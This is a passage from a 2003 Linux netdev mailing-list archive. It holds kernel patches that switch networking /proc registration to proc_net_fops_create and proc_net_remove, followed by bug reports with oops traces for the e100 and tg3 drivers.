file: /home/cvs/linux-2.5/net/ipv4/fib_hash.c,v retrieving revision 1.16 diff -u -r1.16 fib_hash.c --- linux-2.6/net/ipv4/fib_hash.c 26 May 2003 05:17:28 -0000 1.16 +++ linux-2.6/net/ipv4/fib_hash.c 7 Sep 2003 16:51:04 -0000 @@ -1096,19 +1096,13 @@ int __init fib_proc_init(void) { - struct proc_dir_entry *p; - int rc = 0; - - p = create_proc_entry("route", S_IRUGO, proc_net); - if (p) - p->proc_fops = &fib_seq_fops; - else - rc = -ENOMEM; - return rc; + if (!proc_net_fops_create("route", S_IRUGO, &fib_seq_fops)) + return -ENOMEM; + return 0; } void __init fib_proc_exit(void) { - remove_proc_entry("route", proc_net); + proc_net_remove("route"); } #endif /* CONFIG_PROC_FS */ Index: linux-2.6/net/ipv4/igmp.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/igmp.c,v retrieving revision 1.34 diff -u -r1.34 igmp.c --- linux-2.6/net/ipv4/igmp.c 1 Sep 2003 05:52:50 -0000 1.34 +++ linux-2.6/net/ipv4/igmp.c 7 Sep 2003 16:51:04 -0000 @@ -2430,15 +2430,8 @@ int __init igmp_mc_proc_init(void) { - struct proc_dir_entry *p; - - p = create_proc_entry("igmp", S_IRUGO, proc_net); - if (p) - p->proc_fops = &igmp_mc_seq_fops; - - p = create_proc_entry("mcfilter", S_IRUGO, proc_net); - if (p) - p->proc_fops = &igmp_mcf_seq_fops; + proc_net_fops_create("igmp", S_IRUGO, &igmp_mc_seq_fops); + proc_net_fops_create("mcfilter", S_IRUGO, &igmp_mcf_seq_fops); return 0; } #endif Index: linux-2.6/net/ipv4/proc.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/proc.c,v retrieving revision 1.14 diff -u -r1.14 proc.c --- linux-2.6/net/ipv4/proc.c 22 May 2003 08:13:13 -0000 1.14 +++ linux-2.6/net/ipv4/proc.c 7 Sep 2003 16:51:04 -0000 @@ -238,28 +238,21 @@ int __init ip_misc_proc_init(void) { int rc = 0; - struct proc_dir_entry *p; - p = create_proc_entry("netstat", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("netstat", S_IRUGO, &netstat_seq_fops)) goto out_netstat; - p->proc_fops = &netstat_seq_fops; - p = create_proc_entry("snmp", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("snmp", S_IRUGO, &snmp_seq_fops)) goto out_snmp; - p->proc_fops = &snmp_seq_fops; - p = create_proc_entry("sockstat", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("sockstat", S_IRUGO, &sockstat_seq_fops)) goto out_sockstat; - p->proc_fops = &sockstat_seq_fops; out: return rc; out_sockstat: - remove_proc_entry("snmp", proc_net); + proc_net_remove("snmp"); out_snmp: - remove_proc_entry("netstat", proc_net); + proc_net_remove("netstat"); out_netstat: rc = -ENOMEM; goto out; Index: linux-2.6/net/ipv4/raw.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/raw.c,v retrieving revision 1.35 diff -u -r1.35 raw.c --- linux-2.6/net/ipv4/raw.c 11 Jul 2003 04:06:16 -0000 1.35 +++ linux-2.6/net/ipv4/raw.c 7 Sep 2003 16:51:04 -0000 @@ -831,19 +831,13 @@ int __init raw_proc_init(void) { - struct proc_dir_entry *p; - int rc = 0; - - p = create_proc_entry("raw", S_IRUGO, proc_net); - if (p) - p->proc_fops = &raw_seq_fops; - else - rc = -ENOMEM; - return rc; + if (!proc_net_fops_create("raw", S_IRUGO, &raw_seq_fops)) + return -ENOMEM; + return 0; } void __init raw_proc_exit(void) { - remove_proc_entry("raw", proc_net); + proc_net_remove("raw"); } #endif /* CONFIG_PROC_FS */ Index: linux-2.6/net/ipv4/tcp_ipv4.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/tcp_ipv4.c,v retrieving revision 1.56 diff -u -r1.56 tcp_ipv4.c --- linux-2.6/net/ipv4/tcp_ipv4.c 18 Aug 2003 07:06:49 -0000 1.56 +++ linux-2.6/net/ipv4/tcp_ipv4.c 7 Sep 2003 16:51:05 -0000 @@ -2413,11 +2413,15 @@ { struct tcp_seq_afinfo *afinfo = PDE(inode)->data; struct seq_file *seq; - int rc = -ENOMEM; - struct tcp_iter_state *s = kmalloc(sizeof(*s), GFP_KERNEL); + struct tcp_iter_state *s; + int rc; + if (unlikely(afinfo == NULL)) + return -EINVAL; + + s = kmalloc(sizeof(*s), GFP_KERNEL); if (!s) - goto out; + return -ENOMEM; memset(s, 0, sizeof(*s)); s->family = afinfo->family; s->seq_ops.start = tcp_seq_start; @@ -2450,11 +2454,10 @@ afinfo->seq_fops->llseek = seq_lseek; afinfo->seq_fops->release = seq_release_private; - p = create_proc_entry(afinfo->name, S_IRUGO, proc_net); - if (p) { + p = proc_net_fops_create(afinfo->name, S_IRUGO, afinfo->seq_fops); + if (p) p->data = afinfo; - p->proc_fops = afinfo->seq_fops; - } else + else rc = -ENOMEM; return rc; } @@ -2463,7 +2466,7 @@ { if (!afinfo) return; - remove_proc_entry(afinfo->name, proc_net); + proc_net_remove(afinfo->name); memset(afinfo->seq_fops, 0, sizeof(*afinfo->seq_fops)); } Index: linux-2.6/net/ipv4/udp.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/udp.c,v retrieving revision 1.39 diff -u -r1.39 udp.c --- linux-2.6/net/ipv4/udp.c 4 Sep 2003 15:47:07 -0000 1.39 +++ linux-2.6/net/ipv4/udp.c 7 Sep 2003 16:51:05 -0000 @@ -1460,11 +1460,10 @@ afinfo->seq_fops->llseek = seq_lseek; afinfo->seq_fops->release = seq_release_private; - p = create_proc_entry(afinfo->name, S_IRUGO, proc_net); - if (p) { + p = proc_net_fops_create(afinfo->name, S_IRUGO, afinfo->seq_fops); + if (p) p->data = afinfo; - p->proc_fops = afinfo->seq_fops; - } else + else rc = -ENOMEM; return rc; } @@ -1473,7 +1472,7 @@ { if (!afinfo) return; - remove_proc_entry(afinfo->name, proc_net); + proc_net_remove(afinfo->name); memset(afinfo->seq_fops, 0, sizeof(*afinfo->seq_fops)); } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Sep 7 11:40:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 11:40:54 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87IeKx4011205 for ; Sun, 7 Sep 2003 11:40:21 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h87If21M028687; Mon, 8 Sep 2003 03:41:02 +0900 Date: Mon, 08 Sep 2003 03:41:02 +0900 (JST) Message-Id: <20030908.034102.33137738.yoshfuji@linux-ipv6.org> To: davem@redhat.com CC: netdev@oss.sgi.com Subject: [PATCH 1/3] NET: Use proc_net_fops_create() and proc_net_remove() in net/core From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5675 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev [1/3] Use proc_net_fops_create() and proc_net_remove() in net/core. Index: linux-2.6/net/core/dev.c =================================================================== RCS file: /home/cvs/linux-2.5/net/core/dev.c,v retrieving revision 1.85 diff -u -r1.85 dev.c --- linux-2.6/net/core/dev.c 2 Sep 2003 01:25:27 -0000 1.85 +++ linux-2.6/net/core/dev.c 7 Sep 2003 17:02:52 -0000 @@ -1994,26 +1994,21 @@ static int __init dev_proc_init(void) { - struct proc_dir_entry *p; int rc = -ENOMEM; - p = create_proc_entry("dev", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("dev", S_IRUGO, &dev_seq_fops)) goto out; - p->proc_fops = &dev_seq_fops; - p = create_proc_entry("softnet_stat", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("softnet_stat", S_IRUGO, &softnet_seq_fops)) goto out_dev; - p->proc_fops = &softnet_seq_fops; if (wireless_proc_init()) goto out_softnet; rc = 0; out: return rc; out_softnet: - remove_proc_entry("softnet_stat", proc_net); + proc_net_remove("softnet_stat"); out_dev: - remove_proc_entry("dev", proc_net); + proc_net_remove("dev"); goto out; } #else -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Sep 7 11:40:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 11:40:57 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87IeOx4011221 for ; Sun, 7 Sep 2003 11:40:25 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h87If71M028693; Mon, 8 Sep 2003 03:41:07 +0900 Date: Mon, 08 Sep 2003 03:41:07 +0900 (JST) Message-Id: <20030908.034107.96819866.yoshfuji@linux-ipv6.org> To: davem@redhat.com CC: netdev@oss.sgi.com Subject: [PATCH 3/3] NET: Use proc_net_fops_create() and proc_net_remove() in net/ipv6 From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5677 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev [3/3] Use proc_net_fops_create() and proc_net_remove() in net/ipv6. Index: linux-2.6/net/ipv6/addrconf.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/addrconf.c,v retrieving revision 1.52 diff -u -r1.52 addrconf.c --- linux-2.6/net/ipv6/addrconf.c 4 Sep 2003 15:47:07 -0000 1.52 +++ linux-2.6/net/ipv6/addrconf.c 7 Sep 2003 16:51:14 -0000 @@ -2266,16 +2266,11 @@ int __init if6_proc_init(void) { - struct proc_dir_entry *p; - int rc = 0; - - p = create_proc_entry("if_inet6", S_IRUGO, proc_net); - if (p) - p->proc_fops = &if6_fops; - else - rc = -ENOMEM; - return rc; + if (!proc_net_fops_create("if_inet6", S_IRUGO, &if6_fops)) + return -ENOMEM; + return 0; } + void if6_proc_exit(void) { proc_net_remove("if_inet6"); Index: linux-2.6/net/ipv6/anycast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/anycast.c,v retrieving revision 1.7 diff -u -r1.7 anycast.c --- linux-2.6/net/ipv6/anycast.c 25 Jul 2003 17:11:54 -0000 1.7 +++ linux-2.6/net/ipv6/anycast.c 7 Sep 2003 16:51:14 -0000 @@ -581,11 +581,9 @@ int __init ac6_proc_init(void) { - struct proc_dir_entry *p; + if (!proc_net_fops_create("anycast6", S_IRUGO, &ac6_seq_fops)) + return -ENOMEM; - p = create_proc_entry("anycast6", S_IRUGO, proc_net); - if (p) - p->proc_fops = &ac6_seq_fops; return 0; } Index: linux-2.6/net/ipv6/ip6_flowlabel.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/ip6_flowlabel.c,v retrieving revision 1.8 diff -u -r1.8 ip6_flowlabel.c --- linux-2.6/net/ipv6/ip6_flowlabel.c 2 Sep 2003 14:48:07 -0000 1.8 +++ linux-2.6/net/ipv6/ip6_flowlabel.c 7 Sep 2003 16:51:14 -0000 @@ -695,12 +695,7 @@ void ip6_flowlabel_init() { #ifdef CONFIG_PROC_FS - struct proc_dir_entry *p; -#endif -#ifdef CONFIG_PROC_FS - p = create_proc_entry("ip6_flowlabel", S_IRUGO, proc_net); - if (p) - p->proc_fops = &ip6fl_seq_fops; + proc_net_fops_create("ip6_flowlabel", S_IRUGO, &ip6fl_seq_fops); #endif } Index: linux-2.6/net/ipv6/mcast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/mcast.c,v retrieving revision 1.31 diff -u -r1.31 mcast.c --- linux-2.6/net/ipv6/mcast.c 1 Sep 2003 05:52:50 -0000 1.31 +++ linux-2.6/net/ipv6/mcast.c 7 Sep 2003 16:51:14 -0000 @@ -2378,9 +2378,6 @@ struct ipv6_pinfo *np; struct sock *sk; int err; -#ifdef CONFIG_PROC_FS - struct proc_dir_entry *p; -#endif err = sock_create(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, &igmp6_socket); if (err < 0) { @@ -2399,12 +2396,8 @@ np->hop_limit = 1; #ifdef CONFIG_PROC_FS - p = create_proc_entry("igmp6", S_IRUGO, proc_net); - if (p) - p->proc_fops = &igmp6_mc_seq_fops; - p = create_proc_entry("mcfilter6", S_IRUGO, proc_net); - if (p) - p->proc_fops = &igmp6_mcf_seq_fops; + proc_net_fops_create("igmp6", S_IRUGO, &igmp6_mc_seq_fops); + proc_net_fops_create("mcfilter6", S_IRUGO, &igmp6_mcf_seq_fops); #endif return 0; @@ -2414,6 +2407,7 @@ { sock_release(igmp6_socket); igmp6_socket = NULL; /* for safety */ + #ifdef CONFIG_PROC_FS proc_net_remove("mcfilter6"); proc_net_remove("igmp6"); Index: linux-2.6/net/ipv6/proc.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/proc.c,v retrieving revision 1.18 diff -u -r1.18 proc.c --- linux-2.6/net/ipv6/proc.c 9 Jul 2003 05:55:17 -0000 1.18 +++ linux-2.6/net/ipv6/proc.c 7 Sep 2003 16:51:14 -0000 @@ -273,21 +273,16 @@ int __init ipv6_misc_proc_init(void) { int rc = 0; - struct proc_dir_entry *p; - p = create_proc_entry("snmp6", S_IRUGO, proc_net); - if (!p) + if (!proc_net_fops_create("snmp6", S_IRUGO, &snmp6_seq_fops)) goto proc_snmp6_fail; - else - p->proc_fops = &snmp6_seq_fops; + proc_net_devsnmp6 = proc_mkdir("dev_snmp6", proc_net); if (!proc_net_devsnmp6) goto proc_dev_snmp6_fail; - p = create_proc_entry("sockstat6", S_IRUGO, proc_net); - if (!p) + + if (!proc_net_fops_create("sockstat6", S_IRUGO, &sockstat6_seq_fops)) goto proc_sockstat6_fail; - else - p->proc_fops = &sockstat6_seq_fops; out: return rc; Index: linux-2.6/net/ipv6/raw.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/raw.c,v retrieving revision 1.37 diff -u -r1.37 raw.c --- linux-2.6/net/ipv6/raw.c 18 Aug 2003 10:14:52 -0000 1.37 +++ linux-2.6/net/ipv6/raw.c 7 Sep 2003 16:51:14 -0000 @@ -1059,12 +1059,8 @@ int __init raw6_proc_init(void) { - struct proc_dir_entry *p = create_proc_entry("raw6", S_IRUGO, proc_net); - - if (!p) + if (!proc_net_fops_create("raw6", S_IRUGO, &raw6_seq_fops)) return -ENOMEM; - p->proc_fops = &raw6_seq_fops; - return 0; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From mail@jan-ischebeck.de Sun Sep 7 14:47:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 14:47:45 -0700 (PDT) Received: from mail.netbeat.de (mail.netbeat.de [62.208.140.19] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87Ll6x4000670 for ; Sun, 7 Sep 2003 14:47:07 -0700 Received: (qmail 24408 invoked from network); 7 Sep 2003 21:52:04 -0000 Received: from xdsl-195-14-220-216.netcologne.de (195.14.220.216) by mail.netbeat.de with SMTP; 7 Sep 2003 21:52:04 -0000 Subject: [2.6-test4-mm5] modprobe e100 after ifplugd -> oops From: Jan Ischebeck To: netdev@oss.sgi.com Cc: lkml Content-Type: text/plain Message-Id: <1062971256.13515.9.camel@JHome.uni-bonn.de> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Sun, 07 Sep 2003 23:47:36 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 5678 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mail@jan-ischebeck.de Precedence: bulk X-list: netdev Using kernel 2.6.0-test4-mm5 I got on oops when inserting the e100 module after running ifplugd. When I load the module before starting ifplugd everything is ok. I didn't check yet, if it occurs with previous kernel versions too. after a modprobe kernel: Intel(R) PRO/100 Network Driver - version 2.3.18-k1 kernel: Copyright (c) 2003 Intel Corporation kernel: kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000004 kernel: printing eip: kernel: d0a5250f kernel: *pde = 00000000 kernel: Oops: 0000 [#1] kernel: PREEMPT kernel: CPU: 0 kernel: EIP: 0060:[__crc_pcmcia_request_irq+5867872/7156875] Not tainted VLI kernel: EFLAGS: 00010203 kernel: EIP is at e100_free_rfd_pool+0x14/0xdc [e100] kernel: eax: 00000000 ebx: 00000000 ecx: 00000020 edx: 00000000 kernel: esi: c7b95200 edi: c7b95220 ebp: 00000000 esp: ccd13e78 kernel: ds: 007b es: 007b ss: 0068 kernel: Process ifplugd (pid: 774, threadinfo=ccd12000 ta: kernel: Stack: c1367454 c7b95200 c7b95200 c7b95000 d0a527c6 c7b95200 fffffff4 d0a51a7e kernel: c7b95200 00000003 ccd13ec8 c3e6b940 0008d42c c7b95000 00000000 00001003 kernel: 00000000 c028eb1a c7b95000 ccd12000 c02939ea c7b95000 00001002 c02900b8 kernel: Call Trace: kernel: [__crc_pcmcia_request_irq+5868567/7156875] e100_clear_pools+0x1a/0x2a [e100] kernel: [__crc_pcmcia_request_irq+5865167/7156875] e100_open+0x13b/0x198 [e100] kernel: [dev_open+121/134] dev_open+0x79/0x86 kernel: [dev_mc_upload+37/67] dev_mc_upload+0x25/0x43 kernel: [dev_change_flags+81/288] dev_change_flags+0x51/0x120 kernel: [devinet_ioctl+643/1538] devinet_ioctl+0x283/0x602 kernel: [inet_ioctl+178/248] inet_ioctl+0xb2/0xf8 kernel: [sock_ioctl+0/676] sock_ioctl+0x0/0x2a4 kernel: [sock_ioctl+245/676] sock_ioctl+0xf5/0x2a4 kernel: [sock_ioctl+0/676] sock_ioctl+0x0/0x2a4 kernel: [sys_ioctl+253/626] sys_ioctl+0xfd/0x272 kernel: [sys_munmap+68/100] sys_munmap+0x44/0x64 kernel: [syscall_call+7/11] syscall_call+0x7/0xb kernel: kernel: Code: 00 c7 43 40 00 00 00 00 c7 43 3c 00 00 00 00 8b 5c 24 10 83 c4 14 c3 57 56 53 83 ec 04 8b 74 24 14 8d 7e 20 8b 5e 20 39 fb 74 5a <8b> 53 04 39 1a 0f 85 b0 00 00 00 8b 03 39 58 04 0f 85 98 00 00 kernel: <7>e100: selftest OK. kernel: e100: eth0: Intel(R) PRO/100 Network Connection kernel: Hardware receive checksums enabled kernel: Config: # CONFIG_DGRS is not set CONFIG_EEPRO100=m # CONFIG_EEPRO100_PIO is not set CONFIG_E100=m # CONFIG_FEALNX is not set # CONFIG_NATSEMI is not set System is a Thinkpad R40 2722. Jan (Please CC on reply) -- Jan Ischebeck From eric@lnxi.com Sun Sep 7 15:14:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 15:14:50 -0700 (PDT) Received: from ash.lnxi.com ([208.177.141.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87MEGx4003967 for ; Sun, 7 Sep 2003 15:14:17 -0700 Received: (qmail 910 invoked by uid 104); 7 Sep 2003 22:14:38 -0000 Received: from eric@lnxi.com by ash by uid 101 with qmail-scanner-1.20rc1 (sweep: 2.14/3.73. Clear:RC:1:. Processed in 0.019823 secs); 07 Sep 2003 22:14:38 -0000 Received: from maxwell.lnxi.com (192.168.20.129) by ash.lnxi.com with SMTP; 7 Sep 2003 22:14:38 -0000 Received: from eric by maxwell.lnxi.com with local (Exim 3.35 #1 (Debian)) id 19w7uo-0007uO-00; Sun, 07 Sep 2003 16:21:50 -0600 To: Jeff Garzik , "David S. Miller" CC: netdev@oss.sgi.com, Subject: How do I track TG3 peculiarities? From: ebiederman@lnxi.com (Eric W. Biederman) Date: 07 Sep 2003 16:21:50 -0600 Message-ID: Lines: 177 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5679 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederman@lnxi.com Precedence: bulk X-list: netdev Running 2.4.21 we are seeing some very weird problems with the tg3 driver. The test setup is a medium sized cluster with 256 dual opetron machines running in 32bit mode, against and extreme networks switch. All ports running at gigabit speeds. The current problem reproducer is to run linpack on all of the nodes. I am looking for something simpler. We have just escalated the problem from trying a few simple things like swapping drivers to serious debugging. I will do what tracing I can but as I am not especially familiar with the linux network stack I am asking for help as to suggestions as to reasonable interpretations of events and places to start looking. This problem is currently a show stopper for us so we will solve it one way or another. Below is one good oops we have captured. I would have to check but I believe we have updated the tg3 driver in this instance to the one that comes with 2.4.23-pre3. The very puzzling part is that in the crashes I don't see the tg3 driver at all just the network stack. All module addresses according to /proc/ksyms started with at 0xf8, and the tg3 driver was built as a module. I have been having trouble understanding why skb_clone would be called to transmit a packet. Any ideas? <1>Unable to handle kernel NULL pointer dereference at virtual address 00000004 printing eip: c0258575 *pde = 00000000 Oops: 0002 CPU: 0 EIP: 0010:[] Not tainted EFLAGS: 00010016 eax: 00000000 ebx: f7510180 ecx: 00000000 edx: c03f5240 esi: f7616b80 edi: 00000202 ebp: f7bc90e8 esp: f774de44 ds: 0018 es: 0018 ss: 0018 Process init (pid: 15, stackpage=f774d000) Stack: 00000098 00000286 00000246 f7bc91bc f7616b80 000005a8 c0289554 f7616b80 00000020 f7bc9080 c0258114 00000000 00000001 eb307d90 f7bc91bc f7bc9080 c027d3d5 f7bc9080 00000001 00000098 00000000 f774dee4 00000000 c0317c34 Call Trace: [] [] [] [] [] [] [] [] [] Code: 89 50 04 89 81 40 52 3f c0 c7 43 04 00 00 00 00 c7 03 00 00 ************************ HERE IS THE ksymoops ************************* ksymoops 2.4.5 on i686 2.4.21-cm26_lnxi2smp. Options used -V (default) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.21-cm26_lnxi2smp/ (default) -m /boot/System.map-2.4.21-cm26_lnxi2smp (default) Warning: You did not tell me where to find symbol information. I will assume that the log matches the kernel and modules that are running right now and I'll use the default options above for symbol resolution. If the current kernel and/or modules do not match the log, you can get more accurate output by telling me the kernel version and where to find map, modules, ksyms etc. ksymoops -h explains the options. Warning (expand_objects): object /tmp/amd76xrom.o for module amd76xrom has changed since load ksymoops: No such file or directory Warning (expand_objects): object /tmp/cfi_cmdset_0002.o for module cfi_cmdset_0002 has changed since load Error (expand_objects): cannot stat(/modules/tg3.o) for tg3 Error (expand_objects): cannot stat(/modules/bproc.o) for bproc ksymoops: No such file or directory ksymoops: No such file or directory ksymoops: No such file or directory Error (expand_objects): cannot stat(/modules/vmadump.o) for vmadump Error (add_ss_object): cannot stat(/lib/modules/2.4.21-cm26_lnxi2smp/) Error (regular_file): read_nm_symbols stat /lib/modules/2.4.21-cm26_lnxi2smp/ failed ksymoops: No such file or directory Warning (read_object): no symbols in /lib/modules/2.4.21-cm26_lnxi2smp/ Error (regular_file): read_system_map stat /boot/System.map-2.4.21-cm26_lnxi2smp failed ksymoops: No such file or directory Warning (map_ksym_to_module): cannot match loaded module tg3 to a unique module object. Trace may not be reliable. Warning (map_ksym_to_module): cannot match loaded module bproc to a unique module object. Trace may not be reliable. Warning (map_ksym_to_module): cannot match loaded module vmadump to a unique module object. Trace may not be reliable. Fatal Error (find_fullpath): could not find executable ksymoops [root@bluesteel conman]# ksymoops /tmp/oops ksymoops 2.4.5 on i686 2.4.21-cm26_lnxi2smp. Options used -V (default) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.21-cm26_lnxi2smp/ (default) -m /boot/System.map-2.4.21-cm26_lnxi2smp (default) Warning: You did not tell me where to find symbol information. I will assume that the log matches the kernel and modules that are running right now and I'll use the default options above for symbol resolution. If the current kernel and/or modules do not match the log, you can get more accurate output by telling me the kernel version and where to find map, modules, ksyms etc. ksymoops -h explains the options. Error (expand_objects): cannot stat(/lib/ext3.o) for ext3 ksymoops: No such file or directory Error (expand_objects): cannot stat(/lib/jbd.o) for jbd ksymoops: No such file or directory Warning (map_ksym_to_module): cannot match loaded module ext3 to a unique module object. Trace may not be reliable. <1>Unable to handle kernel NULL pointer dereference at virtual address 00000004 c0258575 *pde = 00000000 Oops: 0002 CPU: 0 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010016 eax: 00000000 ebx: f7510180 ecx: 00000000 edx: c03f5240 esi: f7616b80 edi: 00000202 ebp: f7bc90e8 esp: f774de44 ds: 0018 es: 0018 ss: 0018 Process init (pid: 15, stackpage=f774d000) Stack: 00000098 00000286 00000246 f7bc91bc f7616b80 000005a8 c0289554 f7616b80 00000020 f7bc9080 c0258114 00000000 00000001 eb307d90 f7bc91bc f7bc9080 c027d3d5 f7bc9080 00000001 00000098 00000000 f774dee4 00000000 c0317c34 Call Trace: [] [] [] [] [] [] [] [] [] Code: 89 50 04 89 81 40 52 3f c0 c7 43 04 00 00 00 00 c7 03 00 00 >>EIP; c0258575 <===== >>ebx; f7510180 <_end+37103a84/38400964> >>edx; c03f5240 >>esi; f7616b80 <_end+3720a484/38400964> >>ebp; f7bc90e8 <_end+377bc9ec/38400964> >>esp; f774de44 <_end+37341748/38400964> Trace; c0289554 Trace; c0258114 Trace; c027d3d5 Trace; c013e02c <__alloc_pages+4c/1a0> Trace; c029dca2 Trace; c02544c5 Trace; c025475e Trace; c0145be3 Trace; c01094af Code; c0258575 00000000 <_EIP>: Code; c0258575 <===== 0: 89 50 04 mov %edx,0x4(%eax) <===== Code; c0258578 3: 89 81 40 52 3f c0 mov %eax,0xc03f5240(%ecx) Code; c025857e 9: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx) Code; c0258585 10: c7 03 00 00 00 00 movl $0x0,(%ebx) 2 warnings and 2 errors issued. Results may not be reliable. From adilger@clusterfs.com Sun Sep 7 21:10:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 21:11:38 -0700 (PDT) Received: from schatzie.adilger.int (h68-147-142-75.cg.shawcable.net [68.147.142.75]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h884Ahx4009665 for ; Sun, 7 Sep 2003 21:10:45 -0700 Received: (from adilger@localhost) by schatzie.adilger.int (8.11.6/8.11.6) id h8849Rh15896; Sun, 7 Sep 2003 22:09:27 -0600 Date: Sun, 7 Sep 2003 22:09:26 -0600 From: Andreas Dilger To: "Eric W. Biederman" Cc: Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: How do I track TG3 peculiarities? Message-ID: <20030907220926.G18482@schatzie.adilger.int> Mail-Followup-To: "Eric W. Biederman" , Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com, linux-kernel@vger.kernel.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from ebiederman@lnxi.com on Sun, Sep 07, 2003 at 04:21:50PM -0600 X-GPG-Key: 1024D/0D35BED6 X-GPG-Fingerprint: 7A37 5D79 BF1B CECA D44F 8A29 A488 39F5 0D35 BED6 X-archive-position: 5680 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: adilger@clusterfs.com Precedence: bulk X-list: netdev On Sep 07, 2003 16:21 -0600, Eric W. Biederman wrote: > Below is one good oops we have captured. I would have to check but > I believe we have updated the tg3 driver in this instance to the > one that comes with 2.4.23-pre3. > > The very puzzling part is that in the crashes I don't see the tg3 > driver at all just the network stack. All module addresses according > to /proc/ksyms started with at 0xf8, and the tg3 driver was built as > a module. > > I have been having trouble understanding why skb_clone would be called > to 